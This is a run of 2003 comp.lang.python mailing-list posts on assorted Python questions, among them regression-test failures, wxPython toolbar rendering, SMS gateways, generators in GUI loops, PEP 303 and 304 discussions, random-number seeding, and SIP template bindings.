in the examples there were at least one viewer

    /Andy

-- 
 The eye of the beholder rests on the beauty!





From mwh at python.net  Mon Jan 27 10:18:30 2003
From: mwh at python.net (Michael Hudson)
Date: Mon, 27 Jan 2003 15:18:30 GMT
Subject: Python 2.2.2 regrtest.py Module Produces Unpredictable Results
References: <mailman.1043600686.955.python-list@python.org>
Message-ID: <7h3u1fu39li.fsf@pc150.maths.bris.ac.uk>

Merton Campbell Crockett <mcc at TO.GD-ES.COM> writes:

> There seems to be a problem with Lib/test/regrtest.py that was included in
> the Python 2.2.2 distribution.

There's certainly something up with your build of Python.

> After downloading Python 2.2.2, I modified configure to skip tests of
> modules that are not supported under BSD/OS 4.x and 5.x.  I ran the standard
> regression test using "gmake test".  Lib/test/regrtest.py reported that the
> following modules crashed.
> 
> 	test_long_future.py(c)
> 	test_math.py(c)

Can you run regrtest verbosely?  Just knowing a test failed isn't a
whole heap o' use.

> Setting the TESTOPTS environmental variable, I tested each of the modules
> individually.  Lib/test/regrtest.py reported that each test completed
> successfully in both passes.

Hmm.  Something odd going on, here.

> This seemed a little strange.  So I changed TESTOPS to conduct the tests in
> a random order.  This time both modules passed but two other modules failed.
> 
> At first, it appeared that the tests that failed were whatever ended up at 
> positions 86 and 91 in the list.  These positions in the list correspond to
> the positions in the default order of execution of the above modules.
> 
> Several more random tests showed this not to be the case.  Conducting the
> regression tests in random order results in random tests failing with tests
> failing in pass 1 being successful in pass 2.

Sometimes one of the tests screws up the environment in the process of
failing sufficiently that all tests that run after it are at risk.
Not knowing your system well, I'd nominate test_signal as being one of
the more likely ones...

> How does one know that Python is built correctly when the regression tests
> produce different results from run to run and pass to pass?

That's easy: it's not built correctly.  It's possible running tests in
a random order is bust generally, but unlikely.

> Is the random test feature one of those "Doctor.  Doctor.  It hurts when I
> do this." scenarios?

Not really.  Are you confident of your RAM?  Have you tried building
without optimizations?

Cheers,
M.

-- 
  But since I'm not trying to impress  anybody in The Software Big
  Top, I'd rather walk the wire using a big pole, a safety harness,
  a net, and with the wire not more than 3 feet off the ground.
                                   -- Grant Griffin, comp.lang.python



From jwm-python at sentinelchicken.net  Sat Jan 25 10:32:02 2003
From: jwm-python at sentinelchicken.net (Jason Morgan)
Date: Sat, 25 Jan 2003 10:32:02 -0500
Subject: Printing repeatedly on same line
Message-ID: <20030125153202.GA7622@sentinelchicken.net>

How do I print (stdout) to the same line repeatedly? I want to offer a
status bar for a script. I have tried the following:

def statprint(s):  # s is a string
	import sys
	sys.stdout.write(s+" "*(78-len(s))+"\r")

I got this from this ASPN page:

http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/146038

which seemed to be refering to Windows (I'm writing for Linux/*BSD). I
have tried the above function, but it prints in the same manner as
'print' does.


Thanks for the help in advance.

Cheers,
Jason




From chrisk at nipltd.com  Wed Jan 22 17:55:42 2003
From: chrisk at nipltd.com (Chris Keyes)
Date: Wed, 22 Jan 2003 22:55:42 +0000
Subject: Sending text messages to mobiles
References: <85c78d18.0301211528.19e6cf09@posting.google.com> <mailman.1043192326.18030.python-list@python.org>
Message-ID: <3E2F216E.8060307@nipltd.com>

I've previously hacked up an interface to an old nokia GSM card that 
would send messages, although I'm not that good at that kinda stuff and 
the GSM documentation was not designed for beginners. Its another option.

You'd need hardware that supported either the SMS AT Command set, or 
some other interface.

Thinking about that, a post to a SMS provider probably is the best way 
forward :-)

I'd be interested to know what you conclude!

Good luck

Richard Jones wrote:
> On Wed, 22 Jan 2003 10:28 am, Byron Morgan wrote:
> 
>>I am a Python newbie, building a Python app that monitors live data,
>>sending event-driven notifications to cellphones, pagers, email,
>>instant message clients. I have found and used Py-TOC, a clean
>>implementation of AOL's AIM services.
>>
>>My Question:
>>Has anyone done an interface to Yahoo! Messenger? I am particularly
>>interested because Yahoo! provides an easy cellular text messaging
>>gateway.
> 
> 
> There are plenty of sms gateways out there other than yahoo messenger. Most 
> (if not all) support a simple HTTPS system where you make a single HTTPS GET 
> request like:
> 
>     data = urllib.urlencode({'userid': 'blah', 'password': 'sekrit',
>         'phone': mobile, 'message': message})
>     response = urllib2.urlopen('https://provider.com/send.cgi', data)
> 
> Yes, that's all there is to it (assuming you've signed up with the provider 
> and bought some credits ;)
> 
> A google search for "sms messaging gateway" will provide plenty of providers 
> to choose from. Things to look for are the cost per message and how they 
> handle (and inform you of) error responses. You may also be interested in 
> whether they provide a callback system from handset delivery confirmation. Up 
> to you.
> 
> 
>     Richard
> 
> 




From adalke at mindspring.com  Sun Jan 12 19:29:44 2003
From: adalke at mindspring.com (Andrew Dalke)
Date: Sun, 12 Jan 2003 17:29:44 -0700
Subject: Elegant copy-by-value
In-Reply-To: <x7ptr2rs1a.fsf@guru.mired.org>
References: <87n0m7urz4.fsf@gvdnet.dk> <3E20CA0F.E2C07F4E@engcorp.com> <87k7hbul7w.fsf@gvdnet.dk> <3E20DFE7.FD196BD3@engcorp.com> <87d6n2h5mn.fsf@gvdnet.dk> <x7ptr2rs1a.fsf@guru.mired.org>
Message-ID: <avt19i$r4$1@slb0.atl.mindspring.net>

Mike Meyer wrote:
> If it still bothers you, how about a PEP proposing that object have
> copy and deepcopy methods that DTRT? That way, all new-style classes
> would have a copy and deepcopy methods, so you could invoke them
> without having to import a module.

Actually, I think Python could get what he wants if copy.copy and
copy.deepcopy were added to the builtins as 'copy' and 'deepcopy'.
It seems he mostly didn't like the need for an extra import, based
on the OP's statement

Martin Christensen:
] It seems strange that one should have to import a module to so
] something as simple as a copy-by-value.


					Andrew
					dalke at dalkescientific.com




From lac at strakt.com  Thu Jan  2 15:58:52 2003
From: lac at strakt.com (Laura Creighton)
Date: Thu, 02 Jan 2003 21:58:52 +0100
Subject: GUI-programming 
In-Reply-To: Message from "Kevin Altis" <altis@semi-retired.com> 
   of "Thu, 02 Jan 2003 10:36:55 PST." <UB%Q9.35$DR5.71804@news.uswest.net> 
References: <20030101230749.GA4773@r55.studdorf.wh.tu-darmstadt.de> <mailman.1041500703.16262.python-list@python.org> <UB%Q9.35$DR5.71804@news.uswest.net> 
Message-ID: <200301022058.h02KwqjL007255@ratthing-b246.strakt.com>

I hadn't thought of using generators like that.  Thank you.

Laura 

> 
> "Laura Creighton" <lac at strakt.com> wrote in message
> news:mailman.1041500703.16262.python-list at python.org...
> >
> > If you mean, 'while I am running my application, I want my users
> > to be able to interrupt things by clicking on buttons' then you need
> > to thread your application.  The best way to communicate between
> > threads is using a Queue object, and
> > http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/82965
> > will show you how to do that.
> 
> Actually, I was pleasantly surprised to find that in many cases you can
> avoid threads and Queue by using a generator. I reworked the hopalong sample
> in PythonCard to take advantage of this.
> 
> http://pythoncard.sourceforge.net/samples/hopalong.html
> 
> A loop calls the generator function, the generator does a yield, the loop
> gives the GUI a chance to process an event like the user clicking on a
> Cancel button and then if the cancel button didn't set a flag like
> stopDrawing then the loop continues. In most cases I still use threads and
> Queue, but for this type of visualization a generator or simply yielding to
> the GUI event manager in a loop may be enough. Of course, tkinter might not
> have the same capabilities in that regard as wxPython <wink>
> 
> ka
> 
> 
> -- 
> http://mail.python.org/mailman/listinfo/python-list




From Michael.Coll-Barth at VerizonWireless.com  Sun Jan 26 23:14:12 2003
From: Michael.Coll-Barth at VerizonWireless.com (Michael.Coll-Barth at VerizonWireless.com)
Date: Sun, 26 Jan 2003 23:14:12 -0500
Subject: Why does int(5.0) returns 0
Message-ID: <553C73BFD13DB04EB339B6F76B3A6B31C83921@nyobgcexmb02.odc.vzwcorp.com>

Samir,

Here's what I get...

Python 2.2.1 (#34, Apr  9 2002, 19:34:33) [MSC 32 bit (Intel)] on win32
Type "copyright", "credits" or "license" for more information.
IDLE 0.8 -- press F1 for help
>>> print int(5.0)
5
>>> 

Michael

-----Original Message-----
From: Erik Max Francis [mailto:max at alcyone.com]
Sent: Sunday, January 26, 2003 11:08 PM
To: python-list at python.org
Subject: Re: Why does int(5.0) returns 0


Samir Patel wrote:

> Here is verbose output of program: print int(5.0)
> 
> It outputs 0

You should us verbose output, but not your input.  Are you really sure
that's what the program said?  If so, your Python installation is
seriously broken.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ This moment is mine / So I'm taking my time
\__/ Chante Moore
    Church / http://www.alcyone.com/pyos/church/
 A lambda calculus explorer in Python.
-- 
http://mail.python.org/mailman/listinfo/python-list




From sean at activeprime.com  Fri Jan 17 12:33:32 2003
From: sean at activeprime.com (Sean)
Date: 17 Jan 2003 09:33:32 -0800
Subject: wxPython on RedHat 7.3  (GNOME 1.4 I think???)
References: <ef7a350b.0301101318.1fdaeb0c@posting.google.com>	 <mailman.1042235066.17749.python-list@python.org>	 <ef7a350b.0301131300.58ad06@posting.google.com> <mailman.1042492466.10176.python-list@python.org>
Message-ID: <ef7a350b.0301170933.2990e7af@posting.google.com>

Cliff Wells <LogiplexSoftware at earthlink.net> wrote in message news:<mailman.1042492466.10176.python-list at python.org>...
> On Mon, 2003-01-13 at 13:00, Sean wrote:
> > Cliff, 
> > 
> >   Thanks for the pointer.  That got rid of the text showing up as
> > boxes.  The other problem I was having was a wxStaticText control
> > object in my frame's toolbar keeps disapearing whenever I resize the
> > frame.  It comes back if I give focus to another window and then
> > switch back, but refreshing the frame (or toolbar) on resize events
> > does not seem to help.
> 
> Do you have a small piece of code you could post (or send me) so I can
> take a look?
> 
> Also, please don't top-post.  It makes the conversation difficult to
> follow for others who might be interested.
> 
> 
> > Cliff Wells <LogiplexSoftware at earthlink.net> wrote in message news:<mailman.1042235066.17749.python-list at python.org>...
> > > 
> > > This is usually a problem only seen on GNOME2, but you might try running
> > > the demo with
> > > 
> > > env LANG='C' python demo.py
> > > 
> > > to see if that helps.  I assume by "weird visibility" errors you are
> > > referring to fonts?  For instance, fonts display as small boxes rather
> > > than text?  If not, please clarify.


Here is a sample program that creates a small frame and adds a toolbar
with 2 wxStaticText controls.  Under both KDE and Gnome (on both
redhat 7.3 and 8.0) the static text will disappear anytime you resize
the frame.  The only way to get it back is to give focus to another
window, and then focus to the frame.


from wxPython.wx import *

ID_ABOUT = 101
ID_EXIT  = 102

class MyFrame(wxFrame):
    def __init__(self, parent, ID, title):
        wxFrame.__init__(self, parent, ID, title,
                         wxDefaultPosition, wxSize(400, 250))


        self.toolBar =
self.CreateToolBar(wxTB_HORIZONTAL|wxTB_3DBUTTONS, NewId(), "ToolBar")

        #add state combo boxs
        id = NewId()
        self.toolBar.AddControl(wxStaticText(self.toolBar, id, "Static
Text 1: "))

        id = NewId()
        self.toolBar.AddControl(wxStaticText(self.toolBar, id, "Static
Text 2: "))


        self.toolBar.Realize()



class MyApp(wxApp):
    def OnInit(self):
        frame = MyFrame(NULL, -1, "Hello from wxPython")
        frame.Show(true)
        self.SetTopWindow(frame)
        return true

app = MyApp(0)
app.MainLoop()



From lac at strakt.com  Sat Jan 25 18:00:28 2003
From: lac at strakt.com (Laura Creighton)
Date: Sun, 26 Jan 2003 00:00:28 +0100
Subject: How to download a file only once 
In-Reply-To: Message from "A" <printers@sendme.cz> 
   of "Sat, 25 Jan 2003 18:30:52 +0100." <3E32D7DC.6566.1A8145@localhost> 
References: <3E32D7DC.6566.1A8145@localhost> 
Message-ID: <200301252300.h0PN0SjL003350@ratthing-b246.strakt.com>

> Hi all,
>  
> My Python application runs on  users' computers.
>  I want to allow  one and only one user to download one file from the list of
>  files that are on 
> server. This file, after being downloaded, can not be downloaded any more.
> What is the best solution of that problem?
> Thanks for help.
> Ladislav

You have 2 problems here.  The first is authenticating that you have
your real trusted user here.  There are lots of ways to do this.
How secure do you need to be?

The second problem is to make sure that he only gets one copy. 
Why do you need this?  Is it for your convenience?  If you put up
a web page, with links to the files, and 'click on this to download'
and then made the links unclickable after every download, would this be 
good enough?  Or do you need a robust solution that will withstand a
hostile attempt to subvert your will?  (I am not sure you can get one.
This is a hard problem.)

More a questions -- by 'one user' do you mean 'there is only one user on
the planet I want to give the file to' or are there lots of them, all
active at the same time, each of which should only get one copy?

What do you want to happen when your user makes a mistake in
downloading?  He ends up with a file in the wrong encoding he cannot
read, or his disk filled up, or he lost his connection in the middle
of the session and so only half the file is there?

Laura Creighton






From palam_POOP_edes at softhome.net  Sun Jan 19 23:15:55 2003
From: palam_POOP_edes at softhome.net (Gregor)
Date: Mon, 20 Jan 2003 04:15:55 GMT
Subject: Continuations
Message-ID: <%JKW9.76002$H7.3528201@news2.calgary.shaw.ca>

I came across an introduction to Stackless Python and continuations which 
piqued my interest. It gave the following example to illustrate how a 
continuation works:

def looptest(n):

    this = continuation.current()

    k = this.update(n)
      # continuation at "="
    if k:
        this(k-1)
        # resuming at "="
    else:
        del this.link


Can anyone tell what "this.update(n)" is, does, or represents? I 
understand the basic idea of what a continuation is, but that by itself 
isn't enough background for me to guess what all the terms mean.

Every introduction to continuations I've found either describes it using 
Scheme, which I haven't touched in a decade, and which I suspect most 
people haven't worked with at all, or re-uses the above Python example 
with little explanation.

Thanks,

Greg.

-- 
Be sure to correct my address when replying by e-mail.



From lac at strakt.com  Tue Jan 28 06:27:17 2003
From: lac at strakt.com (Laura Creighton)
Date: Tue, 28 Jan 2003 12:27:17 +0100
Subject: PEP 304 - Controlling generation of bytecode files 
In-Reply-To: Message from Skip Montanaro <skip@pobox.com> 
   of "Mon, 27 Jan 2003 16:44:15 CST." <15925.46655.439046.717944@montanaro.dyndns.org> 
References: <15925.46655.439046.717944@montanaro.dyndns.org> 
Message-ID: <200301281127.h0SBRHjL020551@ratthing-b246.strakt.com>

1. I the the name PYTHONBYTECODEDIR and sys.bytecodedir (that is
   plenty enough to type already) make more sense.

2. This Pep assumes that you want to change files globally, but not
   on a per file basis.  What do we want to happen when 2 users of the
   same system -- a) want different dirs, b) want the same dir.  In
   case b) can we still get collisions and a corrupted file?

3. I am unclear of the security implications of this.  Is somebody out
   there depending on the fact that nobody can ever write their
   own bytecode files and use them to crack the system?  If so they are
   likely to want a way to forbid any but their system secure ones.

4. One thing that I would find useful is a way to say "do not make
   pyc's in this dir".  Then when I tar up a distribution to send
   someplace I won't have to remember to remove them first.  

Laura




From bellman+pep-divmod at lysator.liu.se  Thu Jan  2 17:25:16 2003
From: bellman+pep-divmod at lysator.liu.se (Thomas Bellman)
Date: Thu, 2 Jan 2003 22:25:16 +0000 (UTC)
Subject: PEP 303: Extend divmod() for Multiple Divisors
References: <ausiq8$egi$1@news.island.liu.se> <v15om11f5lfr50@news.supernews.com>
Message-ID: <av2e8c$okg$1@news.island.liu.se>

"John Roth" <johnroth at ameritech.net> wrote:

> I want to object to this one strongly, on the basis that it is
> a special case of something that, if it's useful at all, should
> be generalized to include all of the operators.

Yes, I have had thoughts about that too.  However, divmod differs
from the other operators in one important aspect: it returns
*two* values.  The other operators can easily be chained by using
reduce(); divmod can't (easily).

And there is actually another aspect that is different: divmod
isn't an operator, but a function. :-)

> I don't find the use cases very compelling. Sure, they exist,
> but how many of us actually use chained division for those
> conversions in every day life rather than use a library
> module?

I do. :-)  And more importantly, I think that even library code
should be allowed to read well.

> And how many of those uses are actually
> the performance bottleneck in the system?

The motivation for this extension is clarity, not speed.

> As far as the nuts and bolts go, the operand should be
> a sequence, not simply strung out as operands. There are
> several reasons for this, but the major one is consistency:
> if the result is a list, then the input operand should also be
> a list.

If I was suggesting a new function, I would probably agree with
you.  However, I'm proposing to extend an existing function, and
the API for a single divisor is already set in stone.  I think it
would be a very bad idea for divmod to change its behaviour based
on whether the second argument was a sequence or not.


-- 
Thomas Bellman,   Lysator Computer Club,   Link?ping University,  Sweden
"You cannot achieve the impossible without   !  bellman @ lysator.liu.se
 attempting the absurd."                     !  Make Love -- Nicht Wahr!



From boud at valdyas.org  Thu Jan  9 17:31:05 2003
From: boud at valdyas.org (Boudewijn Rempt)
Date: Thu, 09 Jan 2003 23:31:05 +0100
Subject: GUI speed
References: <mailman.1042070716.17019.python-list@python.org> <slrnb1pk9b.ga.gerhard.haering@lilith.my-fqdn.de> <slrnb1rtc1.ek.gerhard.haering@lilith.my-fqdn.de>
Message-ID: <3e1dfaaa$0$94297$e4fe514c@dreader4.news.xs4all.nl>

Gerhard H?ring wrote:

> Gerhard H?ring wrote:
>> Rick Richardson wrote:
>>> 
>>> I'm currently reviewing technologies for a large, gui intensive
>>> application. We're planning on having a template driven dynamic gui
>>> system, but having written Java gui's in the past I'm concerned that
>>> python may share java's affliction and be slower than molassses in
>>> January.
>>>  
>>> Can anyone out there comment on the relative speed of Java's gui libs
>>> and any one of the python gui libs?
>> 
>> Sure I can. Try it out.
> 
> Ok, that reply was a /little/ short and missing a smiley.
> 
> The GUI tookits I know (wxWindows, PyQt) contain demo programs that
> should show the speed of the GUI tookit quite easily.

In my experience, PyQt, wxWindows and Tkinter Python apps all feel
snappier and more responsive than the Swing apps I've worked with. On
the other hand, Eclipse manages about the same 'feel' as the Python
gui's qua speed.

-- 
Boudewijn Rempt | http://www.valdyas.org



From cms103 at owlfish.com  Fri Jan 17 09:00:08 2003
From: cms103 at owlfish.com (Colin Stewart)
Date: 17 Jan 2003 06:00:08 -0800
Subject: SimpleTAL - A Stand alone implementation of TAL and TALES
Message-ID: <38bccbba.0301170600.7bc81878@posting.google.com>

Hi,

During the writing of a custom weblog program I developed a new
implementation of TAL/TALES (The languages that power Zope Page
Templates) that has no dependencies on Zope.  I originally tried to
understand the Zope version and create a stand alone version of that,
but at the time I couldn't find anyone that had alrady done it, and I
was getting no where - so I wrote a new implementation.

If this is of any use to anyone please let me know.  You can find it
at http://www.owlfish.com/software/simpleTAL/index.html

Colin.



From nospam at bigfoot.com  Fri Jan 17 10:24:44 2003
From: nospam at bigfoot.com (Gillou)
Date: Fri, 17 Jan 2003 16:24:44 +0100
Subject: Python COM win32ui examples/tutorials?
References: <opri5cpwci8cxiwf@news1.on.sympatico.ca>
Message-ID: <b096ec$35m$1@norfair.nerim.net>

"Markus Wankus" <markus_wankus at hotmail.com> a ?crit dans le message de news:
opri5cpwci8cxiwf at news1.on.sympatico.ca...
> Hi,
>
Hi,

There are some more docs about this at www.activestate.com (API, samples)
Buying and reading Mark's book is the best idea if you plan to work hard
with win32xx packages.
In addition you need microsoft doc on the MFC (Windows API)

--Gilles






From max at alcyone.com  Mon Jan 13 01:31:06 2003
From: max at alcyone.com (Erik Max Francis)
Date: Sun, 12 Jan 2003 22:31:06 -0800
Subject: Seeking Minimal Python Project Name (was: [pypy-dev] Re: [ann] 
 Minimal Python project)
References: <mailman.1042436962.21167.python-list@python.org> <7xznq57esm.fsf@ruckus.brouhaha.com> <pan.2003.01.13.06.21.14.949768@uchicago.edu>
Message-ID: <3E225D2A.BB5C3FC@alcyone.com>

Ben Wolfson wrote:

> This discussion is really heading in the wrong direction.  Who was the
> shortest member of Monty Python?

Now that's _really_ the wrong direction to head in.  It's geeky enough
that it's named after Monty Python, isn't it?

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ Nothing is so good it lasts eternally
\__/ Florence, _Chess_
    Max Pandaemonium / http://www.maxpandaemonium.com/
 A sampling of Max Pandameonium's music.



From andrew at indranet.co.nz  Thu Jan 23 19:53:10 2003
From: andrew at indranet.co.nz (Andrew McGregor)
Date: Fri, 24 Jan 2003 13:53:10 +1300
Subject: People have started mailing me ms-word docs (groan).
In-Reply-To: <200301240034.h0O0YjL8024796@ratthing-b246.strakt.com>
References: <200301240034.h0O0YjL8024796@ratthing-b246.strakt.com>
Message-ID: <492800000.1043369590@localhost.localdomain>

No, but there's a command-line OpenOffice filter on the OpenOffice site 
that can do any pair of formats it supports, including PDF and HTML.

Andrew

--On Friday, January 24, 2003 01:34:45 +0100 Laura Creighton 
<lac at strakt.com> wrote:

> Saving the attatchment and then opening them with OpenOffice is getting
> tedious.  Has anybody written a python program that runs under linux
> and converts ms-word MIME attatchments to something readable?
>
> Laura Creighton
>
> --
> http://mail.python.org/mailman/listinfo/python-list
>
>






From paul at boddie.net  Fri Jan 17 06:02:47 2003
From: paul at boddie.net (Paul Boddie)
Date: 17 Jan 2003 03:02:47 -0800
Subject: so how do *you* generate XHTML?
References: <slrnb26aej.1hr.nthomas@rain.cise.ufl.edu>
Message-ID: <23891c90.0301170302.477bf4f7@posting.google.com>

"N. Thomas" <nthomas at cise.ufl.edu> wrote in message news:<slrnb26aej.1hr.nthomas at rain.cise.ufl.edu>...
> I've got some data that I'd like Python to spit out into XHTML, and I
> don't want to print out raw XHTML strings, ala (print '<title>%s</title>
> % body['title']).

No, that would bring up a number of encoding issues vaguely
reminiscent of the all-too-frequently-asked database quoting
questions.

> After looking around a bit, the only module I can find that can do this
> is HTMLgen, which was exactly what I was looking for.

[...]

> My question: Is there a newer version of HTMLgen or is there a newer
> tool that does the same thing as HTMLgen?

Well, I tend to use the PyXML tools and the various serialisation
classes and functions such as xml.dom.ext.PrettyPrint. However, from
this and your other recent posting, it might appear that use of the
PyXML technologies are somewhat excessive (and inappropriate) for your
needs. I do recall seeing a few packages on the Vaults of Parnassus -
try searching for HTML there when the database search becomes
available again.

Paul



From sheershion at mailexpire.com  Sun Jan 26 16:24:00 2003
From: sheershion at mailexpire.com (Robert Amesz)
Date: Sun, 26 Jan 2003 21:24:00 -0000
Subject: Sticky Notes, which GUI toolkit supports...
References: <6e07b825.0301260043.18231335@posting.google.com>
Message-ID: <Xns930FE3A2C4D8rcamesz@amesz.demon.nl>

yaipa h. wrote:

> I would like to write a Sticky note application. So my question is
> which GUI toolkit, if any, supports the notion of an object being
> always on top.

Well, in wxPython you can use the wxSTAY_ON_TOP style for a wxFrame. 
Unfortunately, that only works for Windows, according to the docs. For 
other platforms you might make it work using the Raise() method in 
either a timer or idle event handler. You'd need to experiment.


> One material note is that the toolkit must support Solaris as well as
> Linux and u$oft platforms.

MS isn't a problem, Linux + GTK also works, but I haven't got a clue 
about Solaris. Presumably, if Solaris runs GTK, it should work, but 
you'd have to recompile wxPython for that platform. You might want to 
ask this question on the  wxPython mailing list if you want to go that 
route.


Robert Amesz



From mertz at gnosis.cx  Thu Jan  9 14:40:13 2003
From: mertz at gnosis.cx (Lulu of the Lotus-Eaters)
Date: Thu, 09 Jan 2003 14:40:13 -0500
Subject: best college for computer science major
References: <3e1ba232_6@nopics.sjc> <v1ofnamn6ai771@corp.supernews.com>
 <3e1ca11b_4@nopics.sjc> <mailman.1042065497.31296.python-list@python.org>
 <slrnb1r6t4.e5b.charles@skinner.pentek.org>
Message-ID: <dAdH+kKkXocU092yn@gnosis.cx>         

charles at pentek.com (Charles Krug) wrote previously:
|Where does the OP live?
|Every State University system has at LEAST one good technical school and
|at least one good "pure science" school, and sometimes several.

Well... that's not quite true.  There are 50 US states, and some of them
are pretty small, population wise.  But certainly each of the 20 most
populous states has some state school with a quite reputable CompSci
department.

I agree with Krug that there is little reason for an undergraduate to
worry too much about the exact specializations of her professors.  In
any case, more classroom contact will be with TAs than actual profs.
Staying local and/or moving to a geographic region that is desirable is
more important than looking at the over-hyped rankings of schools.  If a
student goes on to do a masters or doctorate, by that time she'll know
exactly what specialization she is interested in--and should know by
then exactly who in the field is which school.

Yours, Lulu (who actually only ever -took- two CS classes :-))...

--
Keeping medicines from the bloodstreams of the sick; food from the bellies
of the hungry; books from the hands of the uneducated; technology from the
underdeveloped; and putting advocates of freedom in prisons.  Intellectual
property is to the 21st century what the slave trade was to the 16th.




From tim.one at comcast.net  Mon Jan 27 18:39:39 2003
From: tim.one at comcast.net (Tim Peters)
Date: Mon, 27 Jan 2003 18:39:39 -0500
Subject: Generating Unique Keys
In-Reply-To: <7xk7gq2ngm.fsf@ruckus.brouhaha.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCCELCDKAB.tim.one@comcast.net>

[Paul Rubin]
> Yes.  Mersenne Twister tries to have good statistical properties so
> that your simulations won't be biased by accident.  But it makes no
> attempt at all to thwart malicious attacks.  Also, the implementations
> I've seen (I haven't looked at 2.3's) use just a 32-bit initial seed,
> so it's fairly quick for an attacker to search this whole 32-bit space.

You can pass a long (unbounded) int to 2.3's seed(), and all bits are used,
via the original authors' initialize-from-array-of-uint32 routine (the
absolute value of the Python long is broken into 32-bit chunks for this
purpose).





From phil at river-bank.demon.co.uk  Thu Jan 16 18:43:19 2003
From: phil at river-bank.demon.co.uk (Phil Thompson)
Date: Thu, 16 Jan 2003 23:43:19 +0000
Subject: SIP Python bindings generator - nested templates
In-Reply-To: <b071bo$msc$1@naxos.belnet.be>
References: <b071bo$msc$1@naxos.belnet.be>
Message-ID: <200301162343.19096.phil@river-bank.demon.co.uk>

On Thursday 16 January 2003 7:31 pm, Pakewak wrote:
> Hi,
>
> The SIP generator doesn't seem to allow nested template types. I have a
> method called:
>
> virtual plSMat<plSquareMatrix<double>,3> GetOrientationMatrix() const;
>
> Now I manually added the code for this function in the generated code,
> which works, but this is not very convenient. Is there a work-around for
> SIP for this problem?

SIP doesn't support nested templates, but there is no reason not to. One for 
the TODO list.

See below for a workaround.

> I also searched for a directive (like %HeaderCode) that just copies the
> enclosed code into the generated code without processing. There doesn't
> seem to be one. Something like "%HeaderCode", but one which doesn't replace
> the code at the top.

What you need to do is to decide how you want to represent the type in Python 
- perhaps a nested tuple in this example. Then you use %MappedType to define 
the C++ code that will convert to and from the Python and C++ 
representations. Because SIP doesn't support nested templates you will have 
to invent a new type to keep SIP happy - but your %MappedType code deals with 
the real C++ type.

An alternative would be to invent a class (in SIP - it doesn't have to 
correspond to a real C++ class) so long as you provide C++ code (using 
%MemberCode) for each of the methods you want to implement.

Phil




From andrew at indranet.co.nz  Mon Jan 13 00:02:07 2003
From: andrew at indranet.co.nz (Andrew McGregor)
Date: Mon, 13 Jan 2003 18:02:07 +1300
Subject: Installing Python problems (_socket.so)
In-Reply-To: <52373b4f.0301121030.447cac4f@posting.google.com>
References: <52373b4f.0301121030.447cac4f@posting.google.com>
Message-ID: <83690000.1042434127@localhost.localdomain>

You're trying to link a mixed shared-static library setup and your linker 
is messing up.  It is possible that the OpenSSL build didn't work right. 
The real problem is a few lines earlier in the output; can you send it from 
the previous ld or gcc command?

Andrew

--On Sunday, January 12, 2003 10:30:07 -0800 Sam Carleton 
<nospam at miltonstreet.com> wrote:

> I am trying to get Python 2.2.2 installed on a Solaris 8 (SPARC)
> machine.  I have OpenSSL 0.9.7 installed successfully on the machine
> in questions.  When compiling, this is a snip of the output:
>
> X509_PUBKEY_get                     0x7d8
> /usr/local/ssl/lib/libcrypto.a(x_pubkey.o)
> X509_PUBKEY_get                     0x3a8
> /usr/local/ssl/lib/libcrypto.a(x509_req.o)
> ld: fatal: relocations remain against allocatable but non-writable
> sections
> collect2: ld returned 1 exit status
> skipping /export/home/sam/src/Python-2.2.2/Modules/socketmodule.c
> (build/temp.solaris-2.8-sun4u-2.2/socketmodule.o up-to-date)
> gcc -shared build/temp.solaris-2.8-sun4u-2.2/socketmodule.o
> -L/usr/local/ssl/lib -L/usr/local/lib -Wl,-R/usr/local/ssl/lib -lssl
> -lc
> rypto -o build/lib.solaris-2.8-sun4u-2.2/_socket.so
> WARNING: building of extension "_socket" failed: command 'gcc' failed
> with exit status 1
> skipping 'dbm' extension (up-to-date)
>
> There does not seem to be much info here.  Is there any way I can get
> more info as to solve the problem?
>
> Sam
> --
> http://mail.python.org/mailman/listinfo/python-list
>
>






From max at alcyone.com  Tue Jan 21 21:07:57 2003
From: max at alcyone.com (Erik Max Francis)
Date: Tue, 21 Jan 2003 18:07:57 -0800
Subject: Python use growing or shrinking
References: <v2rhpd4d6p8f79@corp.supernews.com>
Message-ID: <3E2DFCFD.ECDE42AC@alcyone.com>

Greg Brunet wrote:

> There's only a general discussion of their methodology, and I'm not
> arguing that one should choose a language solely because of it's
> popularity or rate of increase/decrease (and what's up with RPG having
> the second fastest growth rate!?!).  Still, it's it provides another
> viewpoint on 'the language wars'.

As a secondary thought (I'm replying again to the same post, my
apologies), upon glancing at the site again, I would say that there is
some serious question of upfront bias in the presentation; I just
noticed the subtitle to the page is

	C# still on track to become number 1 within 2 years time

I would say that that statement, in the light of an arbitrary and
unspecified ranking system, suggests several basic methodology
problems.  Curve extrapolation of arbitrary figures is unlikely to tell
us much of any use.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ Ride / Ride this wave of mine
\__/ Res
    Physics reference / http://www.alcyone.com/max/reference/physics/
 A physics reference.



From csad7 at yahoo.com  Mon Jan 13 07:49:14 2003
From: csad7 at yahoo.com (christof hoeke)
Date: Mon, 13 Jan 2003 13:49:14 +0100
Subject: Seeking Minimal Python Project Name
References: <mailman.1042456912.31274.python-list@python.org> <avucdd$o5t$03$1@news.t-online.com>
Message-ID: <avuck7$7ro$00$1@news.t-online.com>

"christof hoeke" <csad7 at yahoo.com> wrote in message
news:avucdd$o5t$03$1 at news.t-online.com...
>
> "Kow K" <kowk at earthlink.net> wrote in message
> news:mailman.1042456912.31274.python-list at python.org...
> > Totally whimsical word plays ...
> >
> > Lighthon (sounds lighter and smaller ...)
> > Lython (variation of the above)
> > Fython (really *looks* like Python, but it's not ...)
> > Ython (sounds and looks brief)
> > Phyton (simple mutation)
> >
> > Cheers,
> > Kow
> >
> >
> how about
>
> Pypython
> or Pypy
>
> as - how far i understood it - that's what it is?
>
>
sorry, i should read all the posts - has already been suggested. but i think
Pypy is pretty good





From tismer at tismer.com  Sun Jan 12 16:18:05 2003
From: tismer at tismer.com (Christian Tismer)
Date: Sun, 12 Jan 2003 22:18:05 +0100
Subject: [ann] Minimal Python project
In-Reply-To: <RpjU9.13481$%V.8248@nwrddc02.gnilink.net>
